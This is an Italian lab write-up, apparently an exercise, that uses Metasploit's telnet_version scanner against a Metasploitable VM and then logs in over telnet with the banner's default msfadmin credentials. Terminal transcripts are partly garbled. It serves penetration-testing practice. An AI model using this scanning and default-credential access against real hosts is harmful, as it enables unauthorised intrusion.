avvio msfconsole e utilizzo il comando use per attivare lo scanner telnet. inserisco l'indirizzo ip della macchina bersaglio e avvio l'exploit, che ha successo e rileva la porta telnet (23)

```
kali@kali: ~
 =[ metasploit v6.3.27-dev
+ -- --=[ 2335 exploits - 1220 auxiliary - 413 post
+ -- --=[ 1385 payloads - 46 encoders - 11 nops
+ -- --=[ 9 evasion
Metasploit tip: Writing a custom module? After editing your
module, why not try the reload command
Metasploit Documentation: https://docs.metasploit.com/
msf6 > use auxiliary/scanner/telnet/telnet_version
msf6 auxiliary(sca
Module options (auxiliary/scanner/telnet/telnet version):
            Current Setting Required Description
                                      The password for the specified username
   PASSWORD
                                      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using
  RHOSTS
                                      -metasploit.html
                                      The target port (TCP)
                                      The number of concurrent threads (max one per host)
  TIMEOUT 30
                                      Timeout for the Telnet probe
  USERNAME
                                      The username to authenticate as
View the full module info with the info, or info -d command.
               canner/telnet/telnet version) > set rhosts 192.168.1.40
msf6 auxiliary(s
rhosts => 192.168.1.40
msf6 auxiliary(s
                        lnet/telnet version) > exploit
[+] 192.168.1.40:23
                        - 192.168.1.40:23 TELNET
                        - Scanned 1 of 1 hosts (100% complete)
[*] 192,168,1,40:23
[*] Auxiliary module execution completed
msf6 auxiliary(s
```

Provo a stabilire una connessione tramite il comando telnet, essa funziona correttamente e ho accesso alla macchina

```
kali@kali: ~
   USERNAME
                                        The username to authenticate as
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/telnet/telnet version) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
                         elnet/telnet version) > exploit
msf6 auxiliary(scanner/t
[+] 192.168.1.40:23
                          - 192.168.1.40:23 TELNET
[*] 192.168.1.40:23
                         - Scanned 1 of 1 hosts (100% complete)
Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet version) > telnet 192.168.1.40
[*] exec: telnet 192,168,1,40
Trying 192.168.1.40...
Connected to 192.168.1.40.
Escape character is '^]'.
Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com
Login with msfadmin/msfadmin to get started
metasploitable login: msfadmin
Password:
Last login: Tue Jan 16 04:07:20 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
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the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```